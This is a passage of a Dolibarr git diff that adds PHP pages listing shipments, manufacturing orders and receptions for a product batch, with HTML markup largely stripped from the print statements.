conf->hooks_modules contains array of hook context +$hookmanager->initHooks(array('batchproductstatsexpedition')); + +$showmessage = GETPOST('showmessage'); + +// Load variable for pagination +$limit = GETPOST('limit', 'int') ?GETPOST('limit', 'int') : $conf->liste_limit; +$sortfield = GETPOST('sortfield', 'aZ09comma'); +$sortorder = GETPOST('sortorder', 'aZ09comma'); +$page = GETPOSTISSET('pageplusone') ? (GETPOST('pageplusone') - 1) : GETPOST("page", 'int'); +if (empty($page) || $page == -1) { + $page = 0; +} // If $page is not defined, or '' or -1 +$offset = $limit * $page; +$pageprev = $page - 1; +$pagenext = $page + 1; +if (!$sortorder) { + $sortorder = "DESC"; +} +if (!$sortfield) { + $sortfield = "exp.date_creation"; +} + +$search_month = GETPOST('search_month', 'int'); +$search_year = GETPOST('search_year', 'int'); + +if (GETPOST('button_removefilter_x', 'alpha') || GETPOST('button_removefilter', 'alpha')) { + $search_month = ''; + $search_year = ''; +} + +if (!$user->rights->produit->lire) accessforbidden(); + + +/* + * View + */ + +$expeditionstatic = new Expedition($db); +$societestatic = new Societe($db); + +$form = new Form($db); +$formother = new FormOther($db); + +if ($id > 0 || !empty($ref)) { + $object = new ProductLot($db); + if ($ref) { + $tmp = explode('_', $ref); + $objectid = $tmp[0]; + $batch = $tmp[1]; + } + $result = $object->fetch($id, $objectid, $batch); + + $parameters = array('id'=>$id); + $reshook = $hookmanager->executeHooks('doActions', $parameters, $object, $action); // Note that $action and $object may have been modified by some hooks + if ($reshook < 0) { + setEventMessages($hookmanager->error, $hookmanager->errors, 'errors'); + } + + $helpurl = ''; + $shortlabel = dol_trunc($object->batch, 16); + $title = $langs->trans('Batch')." ".$shortlabel." - ".$langs->trans('Referers'); + $helpurl = 'EN:Module_Products|FR:Module_Produits|ES:Módulo_Productos'; + + llxHeader('', $title, $helpurl); + + if ($result > 0) { + $head = productlot_prepare_head($object); + $titre = $langs->trans("CardProduct".$object->type); + $picto = 'lot'; + print dol_get_fiche_head($head, 'referers', $langs->trans("Batch"), -1, $object->picto); + + $reshook = $hookmanager->executeHooks('formObjectOptions', $parameters, $object, $action); // Note that $action and $object may have been modified by hook + print $hookmanager->resPrint; + if ($reshook < 0) { + setEventMessages($hookmanager->error, $hookmanager->errors, 'errors'); + } + + $linkback = ''.$langs->trans("BackToList").''; + + $shownav = 1; + if ($user->socid && !in_array('product', explode(',', $conf->global->MAIN_MODULES_FOR_EXTERNAL))) { + $shownav = 0; + } + + dol_banner_tab($object, 'id', $linkback, $shownav, 'rowid', 'batch', $morehtmlref); + + print '
      '; + + print '
      '; + print ''; + + + // Product + print ''; + print "
      '.$langs->trans("Product").''; + $producttmp = new Product($db); + $producttmp->fetch($object->fk_product); + print $producttmp->getNomUrl(1, 'stock')." - ".$producttmp->label; + print '
      "; + + echo '
      '; + + // // Sell by + // if (empty($conf->global->PRODUCT_DISABLE_SELLBY)) { + // print ''; + // print $form->editfieldkey($langs->trans('SellByDate'), 'sellby', $object->sellby, $object, $user->rights->stock->creer, 'datepicker'); + // print ''; + // print $form->editfieldval($langs->trans('SellByDate'), 'sellby', $object->sellby, $object, $user->rights->stock->creer, 'datepicker'); + // print ''; + // print ''; + // } + // + // // Eat by + // if (empty($conf->global->PRODUCT_DISABLE_EATBY)) { + // print ''; + // print $form->editfieldkey($langs->trans('EatByDate'), 'eatby', $object->eatby, $object, $user->rights->stock->creer, 'datepicker'); + // print ''; + // print $form->editfieldval($langs->trans('EatByDate'), 'eatby', $object->eatby, $object, $user->rights->stock->creer, 'datepicker'); + // print ''; + // print ''; + // } + // + // if (!empty($conf->global->PRODUCT_LOT_ENABLE_TRACEABOLITY)) { + // print ''.$form->editfieldkey($langs->trans('ManufacturingDate'), 'manufacturing_date', $object->manufacturing_date, $object, $user->rights->stock->creer).''; + // print ''.$form->editfieldval($langs->trans('ManufacturingDate'), 'manufacturing_date', $object->manufacturing_date, $object, $user->rights->stock->creer, 'datepicker').''; + // print ''; + // // print ''.$form->editfieldkey($langs->trans('FirstUseDate'), 'commissionning_date', $object->commissionning_date, $object, $user->rights->stock->creer).''; + // // print ''.$form->editfieldval($langs->trans('FirstUseDate'), 'commissionning_date', $object->commissionning_date, $object, $user->rights->stock->creer, 'datepicker').''; + // // print ''; + // print ''.$form->editfieldkey($langs->trans('DestructionDate'), 'scrapping_date', $object->scrapping_date, $object, $user->rights->stock->creer).''; + // print ''.$form->editfieldval($langs->trans('DestructionDate'), 'scrapping_date', $object->scrapping_date, $object, $user->rights->stock->creer, 'datepicker').''; + // print ''; + // } + // + // // Quality control + // if (!empty($conf->global->PRODUCT_LOT_ENABLE_QUALITY_CONTROL)) { + // print ''.$form->editfieldkey($langs->trans('EndOfLife'), 'eol_date', $object->eol_date, $object, $user->rights->stock->creer).''; + // print ''.$form->editfieldval($langs->trans('EndOfLife'), 'eol_date', $object->eol_date, $object, $user->rights->stock->creer, 'datepicker').''; + // print ''; + // print ''.$form->editfieldkey($langs->trans('QCFrequency'), 'qc_frequency', $object->qc_frequency, $object, $user->rights->stock->creer).''; + // print ''.$form->editfieldval($langs->trans('QCFrequency'), 'qc_frequency', $object->qc_frequency, $object, $user->rights->stock->creer, 'numeric').''; + // print ''; + // } + // + // // Other attributes + // include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_view.tpl.php'; + + print ''; + + $nboflines = show_stats_for_batch($object, $socid); + + print "
      "; + + print '
      '; + print '
      '; + + print dol_get_fiche_end(); + + if ($showmessage && $nboflines > 1) { + print ''.$langs->trans("ClinkOnALinkOfColumn", $langs->transnoentitiesnoconv("Referers")).''; + } elseif ($user->rights->expedition->lire) { + $sql = "SELECT DISTINCT s.nom as name, s.rowid as socid, s.code_client,"; + $sql .= " exp.ref, exp.date_creation, exp.fk_statut as statut, exp.rowid as facid,"; + $sql .= " d.rowid, db.qty"; + // $sql.= ", d.total_ht as total_ht"; // We must keep the d.rowid here to not loose record because of the distinct used to ignore duplicate line when link on societe_commerciaux is used + if (empty($user->rights->societe->client->voir) && !$socid) { + $sql .= ", sc.fk_soc, sc.fk_user "; + } + $sql .= " FROM ".MAIN_DB_PREFIX."societe as s"; + $sql .= " INNER JOIN ".MAIN_DB_PREFIX."expedition as exp ON (exp.fk_soc = s.rowid)"; + $sql .= " INNER JOIN ".MAIN_DB_PREFIX."expeditiondet as d ON (d.fk_expedition = exp.rowid)"; + $sql .= " INNER JOIN ".MAIN_DB_PREFIX."expeditiondet_batch as db ON (db.fk_expeditiondet = d.rowid)"; + if (empty($user->rights->societe->client->voir) && !$socid) { + $sql .= ", ".MAIN_DB_PREFIX."societe_commerciaux as sc"; + } + $sql .= " WHERE exp.entity IN (".getEntity('product').")"; + $sql .= " AND db.batch = '".($db->escape($object->batch))."'"; + if (!empty($search_month)) { + $sql .= ' AND MONTH(exp.date_creation) IN ('.$db->sanitize($search_month).')'; + } + if (!empty($search_year)) { + $sql .= ' AND YEAR(exp.date_creation) IN ('.$db->sanitize($search_year).')'; + } + if (empty($user->rights->societe->client->voir) && !$socid) { + $sql .= " AND s.rowid = sc.fk_soc AND sc.fk_user = ".((int) $user->id); + } + if ($socid) { + $sql .= " AND exp.fk_soc = ".((int) $socid); + } + $sql .= $db->order($sortfield, $sortorder); + + // Calcul total qty and amount for global if full scan list + $total_ht = 0; + $total_qty = 0; + + // Count total nb of records + $totalofrecords = ''; + if (empty($conf->global->MAIN_DISABLE_FULL_SCANLIST)) { + $result = $db->query($sql); + $totalofrecords = $db->num_rows($result); + } + + $sql .= $db->plimit($limit + 1, $offset); + + $result = $db->query($sql); + if ($result) { + $num = $db->num_rows($result); + + $option .= '&id='.$object->id; + + if ($limit > 0 && $limit != $conf->liste_limit) { + $option .= '&limit='.urlencode($limit); + } + if (!empty($search_month)) { + $option .= '&search_month='.urlencode($search_month); + } + if (!empty($search_year)) { + $option .= '&search_year='.urlencode($search_year); + } + + print '
      '."\n"; + print ''; + if (!empty($sortfield)) { + print ''; + } + if (!empty($sortorder)) { + print ''; + } + + print_barre_liste($langs->trans("Shipments"), $page, $_SERVER["PHP_SELF"], $option, $sortfield, $sortorder, '', $num, $totalofrecords, '', 0, '', '', $limit, 0, 0, 1); + + if (!empty($page)) { + $option .= '&page='.urlencode($page); + } + + print '
      '; + print '
      '; + print $langs->trans('Period').' ('.$langs->trans("DateCreation").') - '; + print $langs->trans('Month').': '; + print $langs->trans('Year').':'.$formother->selectyear($search_year ? $search_year : - 1, 'search_year', 1, 20, 5); + print '
      '; + print ''; + print ''; + print '
      '; + print '
      '; + print '
      '; + + $i = 0; + print '
      '; + print ''; + print ''; + print_liste_field_titre("Ref", $_SERVER["PHP_SELF"], "s.rowid", "", $option, '', $sortfield, $sortorder); + print_liste_field_titre("Company", $_SERVER["PHP_SELF"], "s.nom", "", $option, '', $sortfield, $sortorder); + print_liste_field_titre("CustomerCode", $_SERVER["PHP_SELF"], "s.code_client", "", $option, '', $sortfield, $sortorder); + print_liste_field_titre("DateCreation", $_SERVER["PHP_SELF"], "exp.date_creation", "", $option, 'align="center"', $sortfield, $sortorder); + print_liste_field_titre("Qty", $_SERVER["PHP_SELF"], "d.qty", "", $option, 'align="center"', $sortfield, $sortorder); + // print_liste_field_titre("AmountHT", $_SERVER["PHP_SELF"], "d.total_ht", "", $option, 'align="right"', $sortfield, $sortorder); + print_liste_field_titre("Status", $_SERVER["PHP_SELF"], "exp.fk_statut", "", $option, 'align="right"', $sortfield, $sortorder); + print "\n"; + + if ($num > 0) { + while ($i < min($num, $limit)) { + $objp = $db->fetch_object($result); + + $total_ht += $objp->total_ht; + $total_qty += $objp->qty; + + $expeditionstatic->id = $objp->facid; + $expeditionstatic->ref = $objp->ref; + $societestatic->fetch($objp->socid); + // $paiement = $expeditionstatic->getSommePaiement(); + + print ''; + print '\n"; + print ''; + print "\n"; + print '"; + print '\n"; + // print '\n"; + print ''; + print "\n"; + $i++; + } + } + print ''; + if ($num < $limit) { + print ''; + } else { + print ''; + } + print ''; + print ''; + print ''; + print ''; + print "
      '; + print $expeditionstatic->getNomUrl(1); + print "'.$societestatic->getNomUrl(1).'".$objp->code_client."'; + print dol_print_date($db->jdate($objp->date_creation), 'dayhour')."'.$objp->qty."'.price($objp->total_ht)."'.$expeditionstatic->LibStatut($objp->statut, 5).'
      '.$langs->trans("Total").''.$langs->trans("Totalforthispage").''.$total_qty.'
      "; + print '
      '; + print '
      '; + } else { + dol_print_error($db); + } + $db->free($result); + } + } +} else { + dol_print_error(); +} + +// End of page +llxFooter(); +$db->close(); diff --git a/htdocs/product/stock/stats/mo.php b/htdocs/product/stock/stats/mo.php new file mode 100644 index 00000000000..f0be40d1a1d --- /dev/null +++ b/htdocs/product/stock/stats/mo.php @@ -0,0 +1,321 @@ + + * Copyright (C) 2004-2021 Laurent Destailleur + * Copyright (C) 2005-2009 Regis Houssin + * Copyright (C) 2023 Gauthier VERDOL + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + */ + +/** + * \file htdocs/product/stats/mo.php + * \ingroup product mo + * \brief Page of MO referring product + */ + +// Load Dolibarr environment +require '../../../main.inc.php'; +require_once DOL_DOCUMENT_ROOT.'/core/lib/product.lib.php'; +require_once DOL_DOCUMENT_ROOT.'/mrp/class/mo.class.php'; +require_once DOL_DOCUMENT_ROOT.'/product/class/product.class.php'; +require_once DOL_DOCUMENT_ROOT.'/product/stock/class/productlot.class.php'; +require_once DOL_DOCUMENT_ROOT.'/core/class/html.formother.class.php'; + +// Load translation files required by the page +$langs->loadLangs(array('mrp', 'products', 'companies', 'productbatch')); + +$id = GETPOST('id', 'int'); +$ref = GETPOST('ref', 'alpha'); + +// Security check +$fieldvalue = (!empty($id) ? $id : (!empty($ref) ? $ref : '')); +$fieldtype = (!empty($ref) ? 'ref' : 'rowid'); +if ($user->socid) { + $socid = $user->socid; +} + +// Initialize technical object to manage hooks of page. Note that conf->hooks_modules contains array of hook context +$hookmanager->initHooks(array('batchproductstatsmo')); + +// Load variable for pagination +$limit = GETPOST('limit', 'int') ?GETPOST('limit', 'int') : $conf->liste_limit; +$sortfield = GETPOST('sortfield', 'aZ09comma'); +$sortorder = GETPOST('sortorder', 'aZ09comma'); +$page = GETPOSTISSET('pageplusone') ? (GETPOST('pageplusone') - 1) : GETPOST("page", 'int'); +if (empty($page) || $page == -1) { + $page = 0; +} // If $page is not defined, or '' or -1 +$offset = $limit * $page; +$pageprev = $page - 1; +$pagenext = $page + 1; +if (!$sortorder) { + $sortorder = "DESC"; +} +if (!$sortfield) { + $sortfield = "c.date_valid"; +} + +$search_month = GETPOST('search_month', 'int'); +$search_year = GETPOST('search_year', 'int'); + +if (GETPOST('button_removefilter_x', 'alpha') || GETPOST('button_removefilter', 'alpha')) { + $search_month = ''; + $search_year = ''; +} + +if (!$user->rights->produit->lire) accessforbidden(); + + +/* + * View + */ + +$staticmo = new Mo($db); +$staticmoligne = new MoLine($db); + +$form = new Form($db); +$formother = new FormOther($db); + +if ($id > 0 || !empty($ref)) { + $object = new ProductLot($db); + if ($ref) { + $tmp = explode('_', $ref); + $objectid = $tmp[0]; + $batch = $tmp[1]; + } + $result = $object->fetch($id, $objectid, $batch); + + $parameters = array('id'=>$id); + $reshook = $hookmanager->executeHooks('doActions', $parameters, $product, $action); // Note that $action and $object may have been modified by some hooks + if ($reshook < 0) { + setEventMessages($hookmanager->error, $hookmanager->errors, 'errors'); + } + + $helpurl = ''; + $shortlabel = dol_trunc($object->batch, 16); + $title = $langs->trans('Batch')." ".$shortlabel." - ".$langs->trans('Referers'); + $helpurl = 'EN:Module_Products|FR:Module_Produits|ES:Módulo_Productos'; + + llxHeader('', $title, $helpurl); + + if ($result > 0) { + $head = productlot_prepare_head($object); + $titre = $langs->trans("CardProduct".$object->type); + $picto = 'lot'; + print dol_get_fiche_head($head, 'referers', $langs->trans("Batch"), -1, $object->picto); + + $reshook = $hookmanager->executeHooks('formObjectOptions', $parameters, $product, $action); // Note that $action and $object may have been modified by hook + print $hookmanager->resPrint; + if ($reshook < 0) { + setEventMessages($hookmanager->error, $hookmanager->errors, 'errors'); + } + + $linkback = ''.$langs->trans("BackToList").''; + + $shownav = 1; + if ($user->socid && !in_array('product', explode(',', $conf->global->MAIN_MODULES_FOR_EXTERNAL))) { + $shownav = 0; + } + + dol_banner_tab($object, 'id', $linkback, $shownav, 'rowid', 'batch', $morehtmlref); + + print '
      '; + + print '
      '; + print ''; + + // Product + print ''; + print "
      '.$langs->trans("Product").''; + $producttmp = new Product($db); + $producttmp->fetch($object->fk_product); + print $producttmp->getNomUrl(1, 'stock')." - ".$producttmp->label; + print '
      "; + + echo '
      '; + + print ''; + + $nboflines = show_stats_for_batch($object, $socid); + + print "
      "; + + print '
      '; + print '
      '; + + print dol_get_fiche_end(); + + + $now = dol_now(); + + $sql = "SELECT"; + // $sql .= " sum(".$db->ifsql("cd.role='toconsume'", "cd.qty", 0).') as nb_toconsume,'; + $sql .= " sum(".$db->ifsql("cd.role='consumed'", "cd.qty", 0).') as nb_consumed,'; + // $sql .= " sum(".$db->ifsql("cd.role='toproduce'", "cd.qty", 0).') as nb_toproduce,'; + $sql .= " sum(".$db->ifsql("cd.role='produced'", "cd.qty", 0).') as nb_produced,'; + $sql .= " c.rowid as rowid, c.ref, c.date_valid, c.status"; + //$sql .= " s.nom as name, s.rowid as socid, s.code_client"; + $sql .= " FROM ".MAIN_DB_PREFIX."mrp_mo as c"; + $sql .= ", ".MAIN_DB_PREFIX."mrp_production as cd"; + $sql .= " WHERE c.rowid = cd.fk_mo"; + $sql .= " AND c.entity IN (".getEntity('mo').")"; + $sql .= " AND cd.batch = '".($db->escape($object->batch))."'"; + if (!empty($search_month)) { + $sql .= ' AND MONTH(c.date_valid) IN ('.$db->sanitize($search_month).')'; + } + if (!empty($search_year)) { + $sql .= ' AND YEAR(c.date_valid) IN ('.$db->sanitize($search_year).')'; + } + if ($socid) { + $sql .= " AND s.rowid = ".((int) $socid); + } + $sql .= " GROUP BY c.rowid, c.ref, c.date_valid, c.status"; + //$sql .= ", s.nom, s.rowid, s.code_client"; + $sql .= $db->order($sortfield, $sortorder); + + //Calcul total qty and amount for global if full scan list + $total_ht = 0; + $total_qty = 0; + + // Count total nb of records + $totalofrecords = ''; + if (empty($conf->global->MAIN_DISABLE_FULL_SCANLIST)) { + $result = $db->query($sql); + $totalofrecords = $db->num_rows($result); + } + + $sql .= $db->plimit($limit + 1, $offset); + + $result = $db->query($sql); + if ($result) { + $num = $db->num_rows($result); + + $option = '&id='.$object->id; + + if ($limit > 0 && $limit != $conf->liste_limit) { + $option .= '&limit='.urlencode($limit); + } + if (!empty($search_month)) { + $option .= '&search_month='.urlencode($search_month); + } + if (!empty($search_year)) { + $option .= '&search_year='.urlencode($search_year); + } + + print '
      '."\n"; + print ''; + if (!empty($sortfield)) { + print ''; + } + if (!empty($sortorder)) { + print ''; + } + + print_barre_liste($langs->trans("MOs"), $page, $_SERVER["PHP_SELF"], $option, $sortfield, $sortorder, '', $num, $totalofrecords, '', 0, '', '', $limit, 0, 0, 1); + + if (!empty($page)) { + $option .= '&page='.urlencode($page); + } + + print '
      '; + print '
      '; + print $langs->trans('Period').' ('.$langs->trans("DateCreation").') - '; + print $langs->trans('Month').': '; + print $langs->trans('Year').':'.$formother->selectyear($search_year ? $search_year : - 1, 'search_year', 1, 20, 5); + print '
      '; + print ''; + print ''; + print '
      '; + print '
      '; + print '
      '; + + $i = 0; + print '
      '; + print ''; + + print ''; + + print_liste_field_titre("Ref", $_SERVER["PHP_SELF"], "c.rowid", "", $option."&id=".$object->id, '', $sortfield, $sortorder); + //print_liste_field_titre("Company", $_SERVER["PHP_SELF"], "s.nom", "", "&id=".$object->id, '', $sortfield, $sortorder); + print_liste_field_titre("Date", $_SERVER["PHP_SELF"], "c.date_valid", "", $option."&id=".$object->id, 'align="center"', $sortfield, $sortorder); + //print_liste_field_titre("AmountHT"),$_SERVER["PHP_SELF"],"c.amount","","&id=".$object->id,'align="right"',$sortfield,$sortorder); + // print_liste_field_titre("ToConsume", $_SERVER["PHP_SELF"], "", "", "&id=".$object->id, '', $sortfield, $sortorder, 'center '); + print_liste_field_titre("QtyAlreadyConsumed", $_SERVER["PHP_SELF"], "", "", $option."&id=".$object->id, '', $sortfield, $sortorder, 'center '); + // print_liste_field_titre("QtyToProduce", $_SERVER["PHP_SELF"], "", "", "&id=".$object->id, '', $sortfield, $sortorder, 'center '); + print_liste_field_titre("QtyAlreadyProduced", $_SERVER["PHP_SELF"], "", "", $option."&id=".$object->id, '', $sortfield, $sortorder, 'center '); + print_liste_field_titre("Status", $_SERVER["PHP_SELF"], "c.status", "", $option."&id=".$object->id, '', $sortfield, $sortorder, 'right '); + print "\n"; + + $motmp = new Mo($db); + + $total_consumed=$total_produced=0; + + if ($num > 0) { + while ($i < min($num, $limit)) { + $objp = $db->fetch_object($result); + + $motmp->id = $objp->rowid; + $motmp->ref = $objp->ref; + $motmp->status = $objp->status; + + $total_consumed+=$objp->nb_consumed; + $total_produced+=$objp->nb_produced; + + print ''; + print '\n"; + print ""; + //print "\n"; + //print ''; + print ''; + // print ''; + print ''; + //$mostatic->LibStatut($objp->statut,5).''; + print ''; + print "\n"; + $i++; + } + } + print ''; + if ($num < $limit) { + print ''; + } else { + print ''; + } + print ''; + print ''; + print ''; + print ''; + print "
      '; + print $motmp->getNomUrl(1, 'production'); + print ""; + print dol_print_date($db->jdate($objp->date_valid), 'dayhour')."".price($objp->total_ht)."'; + // print ''.($objp->nb_toconsume > 0 ? $objp->nb_toconsume : '').''.($objp->nb_consumed > 0 ? $objp->nb_consumed : '').''.($objp->nb_toproduce > 0 ? $objp->nb_toproduce : '').''.($objp->nb_produced > 0 ? $objp->nb_produced : '').''.$motmp->getLibStatut(2).'
      '.$langs->trans("Total").''.$langs->trans("Totalforthispage").''.$total_consumed.''.$total_produced.'
      "; + print '
      '; + print '
      '; + + print ''; + print '
      '; + print ''; + } else { + dol_print_error($db); + } + $db->free($result); + } +} else { + dol_print_error(); +} + +// End of page +llxFooter(); +$db->close(); diff --git a/htdocs/product/stock/stats/reception.php b/htdocs/product/stock/stats/reception.php new file mode 100644 index 00000000000..4e80dcf05f2 --- /dev/null +++ b/htdocs/product/stock/stats/reception.php @@ -0,0 +1,365 @@ + + * Copyright (C) 2004-2016 Laurent Destailleur + * Copyright (C) 2005-2012 Regis Houssin + * Copyright (C) 2014 Juanjo Menent + * Copyright (C) 2014 Florian Henry + * Copyright (C) 2023 Gauthier VERDOL + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + */ + +/** + * \file htdocs/product/stock/stats/reception.php + * \ingroup product service facture + * \brief Page of reception statistics for a batch + */ + +// Load Dolibarr environment +require '../../../main.inc.php'; +require_once DOL_DOCUMENT_ROOT.'/core/lib/product.lib.php'; +require_once DOL_DOCUMENT_ROOT.'/reception/class/reception.class.php'; +require_once DOL_DOCUMENT_ROOT.'/product/class/product.class.php'; +require_once DOL_DOCUMENT_ROOT.'/product/stock/class/productlot.class.php'; +require_once DOL_DOCUMENT_ROOT.'/core/class/html.formother.class.php'; + +// Load translation files required by the page +$langs->loadLangs(array('companies', 'bills', 'products', 'supplier_proposal', 'productbatch')); + +$id = GETPOST('id', 'int'); +$ref = GETPOST('ref', 'alpha'); +$batch = GETPOST('batch', 'alpha'); +$objectid = GETPOST('productid', 'int'); + +// Security check +$fieldvalue = (!empty($id) ? $id : (!empty($ref) ? $ref : '')); +$fieldtype = (!empty($ref) ? 'ref' : 'rowid'); +$socid = ''; +if (!empty($user->socid)) { + $socid = $user->socid; +} + +// Initialize technical object to manage hooks of page. Note that conf->hooks_modules contains array of hook context +$hookmanager->initHooks(array('batchproductstatsreception')); + +$showmessage = GETPOST('showmessage'); + +// Load variable for pagination +$limit = GETPOST('limit', 'int') ?GETPOST('limit', 'int') : $conf->liste_limit; +$sortfield = GETPOST('sortfield', 'aZ09comma'); +$sortorder = GETPOST('sortorder', 'aZ09comma'); +$page = GETPOSTISSET('pageplusone') ? (GETPOST('pageplusone') - 1) : GETPOST("page", 'int'); +if (empty($page) || $page == -1) { + $page = 0; +} // If $page is not defined, or '' or -1 +$offset = $limit * $page; +$pageprev = $page - 1; +$pagenext = $page + 1; +if (!$sortorder) { + $sortorder = "DESC"; +} +if (!$sortfield) { + $sortfield = "recep.date_creation"; +} + +$search_month = GETPOST('search_month', 'int'); +$search_year = GETPOST('search_year', 'int'); + +if (GETPOST('button_removefilter_x', 'alpha') || GETPOST('button_removefilter', 'alpha')) { + $search_month = ''; + $search_year = ''; +} + +if (!$user->rights->produit->lire) accessforbidden(); + + +/* + * View + */ + +$receptionstatic = new Reception($db); +$societestatic = new Societe($db); + +$form = new Form($db); +$formother = new FormOther($db); + +if ($id > 0 || !empty($ref)) { + $object = new ProductLot($db); + if ($ref) { + $tmp = explode('_', $ref); + $objectid = $tmp[0]; + $batch = $tmp[1]; + } + $result = $object->fetch($id, $objectid, $batch); + + $parameters = array('id'=>$id); + $reshook = $hookmanager->executeHooks('doActions', $parameters, $object, $action); // Note that $action and $object may have been modified by some hooks + if ($reshook < 0) { + setEventMessages($hookmanager->error, $hookmanager->errors, 'errors'); + } + + $title = $langs->trans('ProductServiceCard'); + $helpurl = ''; + $shortlabel = dol_trunc($object->batch, 16); + $title = $langs->trans('Batch')." ".$shortlabel." - ".$langs->trans('Referers'); + + llxHeader('', $title, $helpurl); + + if ($result > 0) { + $head = productlot_prepare_head($object); + $titre = $langs->trans("CardProduct".$object->type); + $picto = 'lot'; + print dol_get_fiche_head($head, 'referers', $langs->trans("Batch"), -1, $object->picto); + + $reshook = $hookmanager->executeHooks('formObjectOptions', $parameters, $object, $action); // Note that $action and $object may have been modified by hook + print $hookmanager->resPrint; + if ($reshook < 0) { + setEventMessages($hookmanager->error, $hookmanager->errors, 'errors'); + } + + $linkback = ''.$langs->trans("BackToList").''; + + $shownav = 1; + if ($user->socid && !in_array('product', explode(',', $conf->global->MAIN_MODULES_FOR_EXTERNAL))) { + $shownav = 0; + } + + dol_banner_tab($object, 'id', $linkback, $shownav, 'rowid', 'batch', $morehtmlref); + + print '
      '; + + print '
      '; + print ''; + + + // Product + print ''; + print "
      '.$langs->trans("Product").''; + $producttmp = new Product($db); + $producttmp->fetch($object->fk_product); + print $producttmp->getNomUrl(1, 'stock')." - ".$producttmp->label; + print '
      "; + + echo '
      '; + + // // Sell by + // if (empty($conf->global->PRODUCT_DISABLE_SELLBY)) { + // print ''; + // print $form->editfieldkey($langs->trans('SellByDate'), 'sellby', $object->sellby, $object, $user->rights->stock->creer, 'datepicker'); + // print ''; + // print $form->editfieldval($langs->trans('SellByDate'), 'sellby', $object->sellby, $object, $user->rights->stock->creer, 'datepicker'); + // print ''; + // print ''; + // } + // + // // Eat by + // if (empty($conf->global->PRODUCT_DISABLE_EATBY)) { + // print ''; + // print $form->editfieldkey($langs->trans('EatByDate'), 'eatby', $object->eatby, $object, $user->rights->stock->creer, 'datepicker'); + // print ''; + // print $form->editfieldval($langs->trans('EatByDate'), 'eatby', $object->eatby, $object, $user->rights->stock->creer, 'datepicker'); + // print ''; + // print ''; + // } + // + // if (!empty($conf->global->PRODUCT_LOT_ENABLE_TRACEABOLITY)) { + // print ''.$form->editfieldkey($langs->trans('ManufacturingDate'), 'manufacturing_date', $object->manufacturing_date, $object, $user->rights->stock->creer).''; + // print ''.$form->editfieldval($langs->trans('ManufacturingDate'), 'manufacturing_date', $object->manufacturing_date, $object, $user->rights->stock->creer, 'datepicker').''; + // print ''; + // // print ''.$form->editfieldkey($langs->trans('FirstUseDate'), 'commissionning_date', $object->commissionning_date, $object, $user->rights->stock->creer).''; + // // print ''.$form->editfieldval($langs->trans('FirstUseDate'), 'commissionning_date', $object->commissionning_date, $object, $user->rights->stock->creer, 'datepicker').''; + // // print ''; + // print ''.$form->editfieldkey($langs->trans('DestructionDate'), 'scrapping_date', $object->scrapping_date, $object, $user->rights->stock->creer).''; + // print ''.$form->editfieldval($langs->trans('DestructionDate'), 'scrapping_date', $object->scrapping_date, $object, $user->rights->stock->creer, 'datepicker').''; + // print ''; + // } + // + // // Quality control + // if (!empty($conf->global->PRODUCT_LOT_ENABLE_QUALITY_CONTROL)) { + // print ''.$form->editfieldkey($langs->trans('EndOfLife'), 'eol_date', $object->eol_date, $object, $user->rights->stock->creer).''; + // print ''.$form->editfieldval($langs->trans('EndOfLife'), 'eol_date', $object->eol_date, $object, $user->rights->stock->creer, 'datepicker').''; + // print ''; + // print ''.$form->editfieldkey($langs->trans('QCFrequency'), 'qc_frequency', $object->qc_frequency, $object, $user->rights->stock->creer).''; + // print ''.$form->editfieldval($langs->trans('QCFrequency'), 'qc_frequency', $object->qc_frequency, $object, $user->rights->stock->creer, 'numeric').''; + // print ''; + // } + // + // // Other attributes + // include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_view.tpl.php'; + + print ''; + + $nboflines = show_stats_for_batch($object, $socid); + + print "
      "; + + print '
      '; + print '
      '; + + print dol_get_fiche_end(); + + if ($showmessage && $nboflines > 1) { + print ''.$langs->trans("ClinkOnALinkOfColumn", $langs->transnoentitiesnoconv("Referers")).''; + } elseif ($user->rights->reception->lire) { + $sql = "SELECT DISTINCT s.nom as name, s.rowid as socid, s.code_fournisseur,"; + $sql .= " recep.ref, recep.date_creation, recep.fk_statut as statut, recep.rowid as facid,"; + $sql .= " d.qty"; + // $sql.= ", d.total_ht as total_ht"; // We must keep the d.rowid here to not loose record because of the distinct used to ignore duplicate line when link on societe_commerciaux is used + if (empty($user->rights->societe->client->voir) && !$socid) { + $sql .= ", sc.fk_soc, sc.fk_user "; + } + $sql .= " FROM ".MAIN_DB_PREFIX."societe as s"; + $sql .= " INNER JOIN ".MAIN_DB_PREFIX."reception as recep ON (recep.fk_soc = s.rowid)"; + $sql .= " INNER JOIN ".MAIN_DB_PREFIX."commande_fournisseur_dispatch as d ON (d.fk_reception = recep.rowid)"; + if (empty($user->rights->societe->client->voir) && !$socid) { + $sql .= ", ".MAIN_DB_PREFIX."societe_commerciaux as sc"; + } + $sql .= " WHERE recep.entity IN (".getEntity('product').")"; + $sql .= " AND d.batch = '".($db->escape($object->batch))."'"; + if (!empty($search_month)) { + $sql .= ' AND MONTH(recep.date_creation) IN ('.$db->sanitize($search_month).')'; + } + if (!empty($search_year)) { + $sql .= ' AND YEAR(recep.date_creation) IN ('.$db->sanitize($search_year).')'; + } + if (empty($user->rights->societe->client->voir) && !$socid) { + $sql .= " AND s.rowid = sc.fk_soc AND sc.fk_user = ".((int) $user->id); + } + if ($socid) { + $sql .= " AND recep.fk_soc = ".((int) $socid); + } + $sql .= $db->order($sortfield, $sortorder); + + // Calcul total qty and amount for global if full scan list + $total_ht = 0; + $total_qty = 0; + + // Count total nb of records + $totalofrecords = ''; + if (empty($conf->global->MAIN_DISABLE_FULL_SCANLIST)) { + $result = $db->query($sql); + $totalofrecords = $db->num_rows($result); + } + + $sql .= $db->plimit($limit + 1, $offset); + + $result = $db->query($sql); + if ($result) { + $num = $db->num_rows($result); + + $option .= 